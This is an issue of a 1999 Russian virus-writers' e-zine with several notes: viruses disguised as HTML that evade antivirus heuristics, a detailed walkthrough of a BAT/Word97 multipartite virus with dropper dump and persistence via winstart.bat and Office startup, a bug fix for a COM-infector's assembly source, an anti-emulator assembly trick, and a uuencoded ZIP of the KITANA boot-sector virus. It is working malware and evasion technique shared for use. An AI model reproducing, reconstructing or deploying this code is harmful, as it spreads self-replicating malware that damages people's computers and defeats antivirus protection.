[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999                                          file 014

                          В продолжении разговора...
                                               by RedArc

     Здесь  мне  бы  хотелось  представить  ту  информацию,  которая по разным
причинам не вошла в предыдущие номера.

░▒▓█ 1 █▓▒░
     В  продолжении  темы  "Чужой заголовок" предлагаю посмотреть на следующее
чудо:  вирусы  иммитирующие  HTML-файлы.  Так  как  AVP пытается разбираться с
форматом  файла,  то  ни  в  одном  из  представленных здесь вирусов он ничего
подозрительного  не  находит...  попросту - обламывается. DrWeb for DOS видимо
с  форматом  интернетовских  файлов  не  очень  знаком,  поэтому  он старается
эмулировать   файлы   действительно   как   COM-программы.  Но  вырубание  его
эвристики  по чтению из порта 40h остается в силе, что мы и наблюдаем в вирусе
html_3.
     Кстати, антивирус MScan ничем не отличается по уровню эвристики от AVP...
то  есть здесь он ничего подозрительного не находит... Ай-яй-яй, Валентин, как
же так?

░▒▓█ 2 █▓▒░
    ------------------------[ BAT/Word97.MultiNO ]-------------------------

    Вот вам мультипартитный вирус, заражающий как BAT-ники, так и DOC-и.

    Почему  на  BAT?...  да  прикололо  меня это дело. BAT-ники вообще штук
    интересный  (хотя  сейчас  батники заменяют WinScript'ы), я даже как-то
    хотел  написать  RDA-based вирус на BAT-е ;), но как-то обломало, а вот
    мультипартитный  написал.  Доки  я  писать  не  мастер,  так что что-бы
    избавить  вас  от чтения всякой херни, посоветую запустить prepare.bat,
    после которого в myxa.bat будет дроппер. Запускайте, разбирайтесь...

    Кому  все-таки  охота узнать заранее, что это за хрень, прежде чем жать
    <enter> на файле myxa.bat, попробую описать это чудо-юдо.

    Кто-то  может  уже пошел запускать prepare.bat, так что расскажу что же
    там  будет  делаться. Запускается myxa.bat, отрабатывает ее содержимое,
    потом  запускается  то,  что находится в файле _plugins.bat (только оно
    прилеплено  в  myxa.bat). Собственно там распаковывается архив, который
    прилеплен после прилепленного _plugins.bat. В архиве туева хуча файла с
    именем  _*.*  и  один  из них _multino.bat - запускается. ( Что это все
    запускается и запускается, а ни хрена не делается?... подождите ;)
    _multino.bat собирает все свои конечности ( _*.* ) в архив, а потом все
    файлы  в  текущем,  родительском, корневом каталогов, а также по %PATH%
    заражает - приписывает _plugins.bat и _multino.arj. ( какого хера я все
    это  пишу  -  там  же  все  открытым  текстом ). Ну а под занавес, пока
    _multino.bat  еще  не  кончил... свою работу, он создает winstart.bat в
    %windir%.  Для  чего в winstart.bat - а просто так, чтобы показать, что
    туда можно засунуть длительный процесс и это никакой юзер не заметит.
    Что  же  делает  winstart.bat - распаковывает сам себя и запускает файл
    _makedrp.bat, который:
    1) копирует в C:\Progra~1\Micros~1\Office\Startup\ файло _multino.dot
       (о нем попозже)
    2) делает дроппер, потом создает в debug.exe его дамп (типа такого):
-[ debug.dmp ]---------------------------------------------------------------
-d

1BC7:0100  0D 0A 0D 0A 0D 0A 0D 0A-0D 0A 0D 0A 0D 0A 0D 0A   ................
1BC7:0110  0D 0A 0D 0A 0D 0A 0D 0A-0D 0A 0D 0A 0D 0A 0D 0A   ................
1BC7:0120  0D 0A 0D 0A 0D 0A 0D 0A-0D 0A 0D 0A 0D 0A 40 65   ..............@e
1BC7:0130  63 68 6F 20 6F 66 66 0D-0A 73 65 74 20 76 3D 25   cho off..set v=%
1BC7:0140  30 0D 0A 69 66 20 6E 6F-74 20 65 78 69 73 74 20   0..if not exist
1BC7:0150  25 76 25 20 73 65 74 20-76 3D 25 76 25 2E 62 61   %v% set v=%v%.ba
1BC7:0160  74 0D 0A 61 72 6A 20 65-20 2D 79 20 25 76 25 3E   t..arj e -y %v%>
1BC7:0170  6E 75 6C 0D 0A 63 61 6C-6C 20 5F 6D 75 6C 74 69   nul..call _multi
-q
-----------------------------------------------------------------------------
    обкладывает  его двумя файлами: _multino.bat и _wordend.bat (соотв-но с
    начала и конча) и записывает в c:\logoz.sys.
    Т.е logoz.sys является практически готовым макросом, который нужно лишь
    импортировать в Word97, чем собственно и занимается _multino.dot.
    Только  он  перед  импортом  преобразует  дамп  (смотри выше) во вполне
    "приличные" команды:

    Print #1, "e0100  0D 0A 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A 0D 0A"


    Теперь, при запуке MS-Word97, шаблон документа, лежащий в startup-path,
    будет проверять зараженность normal.dot? и в случее его "девственности"
    импортировать код макроса из logov.sys (это преобразованный logoz.sys).
    Макрос живет, заражает другие документы, а также при своем запуске каж-
    дый раз (на деле это нафиг не нужно) создает дроппер ( который заражает
    BAT-ники ) и запускает его.

    Недостаток этого способа в том, что приходится таскать .dot с собой, но
    это не критично для современных вирусов под Win32, где размеры вируса
    играют далеко не самую важную роль.

    Также в этой реализации вируса нужен arj.exe, лежащие где-то по %PATH%.

    Файлы _templat.bas и _multino.nfo таскаются с вирусом "за компанию" (из
    _templat.bat получился _multino.dot, _multino.nfo вы сейчас читаете ;-)

    Вот собственно и весь изврат.


       Rest in Peace. FRiZER // 13.11.98 // mailto:[email protected]

░▒▓█ 3 █▓▒░
К сожалению в исходник закpалась досадная ошибка, из-за котоpой виpyс поpажал
только один (findfirst) файл. Вот подпpавь:
;------------------------------------------------------------------
Copyright       db  0,'[B!Z0n //[BzZ]]'
VirName         db  0,'[OffsetFinder DEmO viRuS]'
Location        db  0,'[Russia, St.Petersburg 1998]',0
;------------------------------------------------------------------
COM_MASK        db  '*.COM',0
ORIG_START      db  0CDh,20h,0
HEADER          db  0E9h
;------------------------------------------------------------------
START_VIRUS     ENDP
END_VIRUS       equ $
;------------------------------------------------------------------
;------------------------------------------------------------------
JMP_OFFSET      dw  ?
NEW_DTA         db  43 dup(?)
;------------------------------------------------------------------
finish:
end               MAIN

Метка finish: должна быть в конце, после NEW_DTA
                                                                  B!Z0n.

░▒▓█ 4 █▓▒░
antiemul trick.
"работает" вроде пока со всеми эмуляторами.
в первой части запрещаем все прерывания, цикл выполняется до 0. Если
неправильно проэмулируют, то cx<>0.
во второй части разрешаем прерывания, и ждем когда кто-нибудь изменит стек;)
cx при этом получится не равен 0.
=== Cut ===
;1
          cli
          mov   bp,sp
          xor   cx,cx
          mov   ax,ss:[bp-2]
antiemul1:
          cmp   ax,ss:[bp-2]
          loope antiemul1
          sti

          xor   cs:[si.l2-start],cx  ; cx=0
;2
aemul:
          mov   ax,ss:[bp-2]
antiemul2:
          cmp   ax,ss:[bp-2]
          loope antiemul2
          jcxz  aemul

          xor   cs:[si.l3-start],0e9h
          jcxz  bad_emul                ;cx<>0
          xor   cs:[si.l3-start],0e9h
bad_emul:
=== Cut ===
                                  SINcerely, VVS.

░▒▓█ 5 █▓▒░
     Я   понял  почему  Касперский  называет  KITANA  интендед  -  просто  там
практически  во  всех  версиях была бага с шифровкой, т.е. он записывал себя в
MBR  в  шифрованном  варианте,  а при старте не расшифровывал - но в последней
версии  я  это  исправил,  а Касперский не глядя обозвал его интендед. так что
передай ему, пусть внимательней посмотрит на последнюю версию (см. ниже)

[ Begin "KITAN142.ZIP" ]──────────────────────────────────────────────
begin 644 KITAN142.ZIP
M4$L#!!0``@`(`,,P+2::'\59A@(``/0'```*````2TE404Y!+D%338U5S6^;
M,!2_(_$_^#"I[0(5$-HE5#ED5:=-TR[=I2J*(L!OP2T%%+NKT\/^]&GF*SR*
MDXZ+FV<_O]_'\RMI/\%$!B0DWYF(\NC<]3VR(O&.?+EE]S>WY-1SSAWW?#X_
M,XTNA5&(LO[G4T$A4_?DNSY6>K/+_E>B3G#8]`$NHJUX+JNX:5R1'(`2D3).
MMK#A`?E+0$)`EG<+1WU7Y.>WA>-6?UQ_59$JX\_P4QE/\38@G^\6GZ[101[T
M-05P4:VQM&+9AQ_RUX;4K[6ZPC00AV>>UF!9'XLH;0@P*[$YUN!WPS2SP$Y,
M(T.%9;&MUS#>"5"9*TLA>VPW%^WZ@=C$11+G"7E;.RN*LEY-(T'7ETUT<)1"
MDQY)?&5-G[C3%+-O#JZW(##WCD\D+<=SW'2\0]6.,W-2K0;#]FC"2O=WX21/
M)9(JEBMK=H'1`CF*-GPIME0),8FE/54R+Y<7.+T3-5$P,A=)F$'4L0UC.5$6
M'<")B\HDW;2M4/63QB?E9X44%6IQ-[T6'+SK;0<F?&PWY6.[&_Z4![Y"J^/@
M(35XFG6D+\=2`A^XU?4P919E6LM=W\<\RVZ?QWH#CL6XH*;!0;A3C4:52939
MIV!S6]'\Z)^M<&;!7[1MG,.+.HW?;.=370@;N)=K7EO>9`9CR)%FC+RZ#CI8
M^ZU"P?&GV?F,/:UBT1ALDCZN0<+XR5!I#5YC!P@D$X,W5A9E=%S^A_;*-G7B
M5BJTA0.MN"'P();8A^>XVSNY_W'R'["0O7B2=>%8#AKOO9>!";:3.[-\W;0*
M.9L\VGREG5F)'([Y`WT]FO[>4"9\=O_?@#+;'5;=#PZO(M`J%!QR3CL(&M6)
M<[-45+%9D%/3^`=02P,$%``"``@`PS`M)BBXX,6/````Z@````@```!-04M%
M1DE,15-6B%;PSBQ)S$O4,S0Q4HCEY0*):"1K*K@%94:Y!L%$C`ST#`SU#"TM
M+4$BO%QYB;FI"K8*V6"MO%R)Q;D*0*Z*!DA<4P_(Y>7*3\I"%@-R>;F2\U'4
M`;D@PT#J0?)6O%P*4%`",E$_UPBH%,C2!*E2T0`JU[0"B@"5:B(IS<G,RU;0
M+]&OP)!*2<V!BP$`4$L#!!0``@`(`,,P+2843OI!]P```'`#```+````1DE,
M15])1"Y$25JMT[U.PT`,!_"]4M_!8S+D4RSI!$CM@@121RJ&"^<&J\D=\IFT
MZ6OU`6#(2\##("Y\S2W!FX?[Z>^S_-:O+K$B<[VXN>O'UO-T\@XML5$-P@RN
M2)11\/<Z?'N.]H.7G>50=H)NE-<HC9[QWF))M_/EV'R?GA+OY6F<9G%6%,48
MSPFJ6AZ\U_E)@Z;D<%2^>^X>!?6/M[,,VX2-A@UV(41`!G"'QWNBN$)QWAN>
M!;9%WC()?J6,0)/;P,6QWN&WF8$?%0*G6@3+5)%1]1`N3=(D#T_9!]616.^M
MF?;(YV7I8O2I[%IB?CKQ_U[ZU=SH?[F.OG^=3CX`4$L#!`H``````,,P+2:>
MH/X[C@```(X````*````2TE404Y!+D-/387;=3)6@\80L7Z`-`!&XOI>2,T3
M<Q^X`0*Z@`"*R(O8S1.`/X5T#L=`_56J08T`S1.'\^+XPX?S#A__#A,$S1+!
MX`:.P#/_L9#SI$%!_8=%OJNX60#B]\T90'4!ST@>8.(*@?J``'4C84'K(":+
M!RU-6G47EH??#A_D0(A$#+D0`/.DL7ZD,$7_XOIA'^I02P$"%``4``(`"`##
M,"TFFA_%688"``#T!P``"@`````````!`"``````````2TE404Y!+D%335!+
M`0(4`!0``@`(`,,P+28HN.#%CP```.H````(``````````$`(````*X"``!-
M04M%1DE,15!+`0(4`!0``@`(`,,P+2843OI!]P```'`#```+``````````$`
M(````&,#``!&24Q%7TE$+D1)6E!+`0(4``H``````,,P+2:>H/X[C@```(X`
M```*``````````$`(````(,$``!+251!3D$N0T]-4$L%!@`````$``0`WP``
'`#D%````````
`
end
[ End "KITAN142.ZIP" ]────────────────────────────────────────────────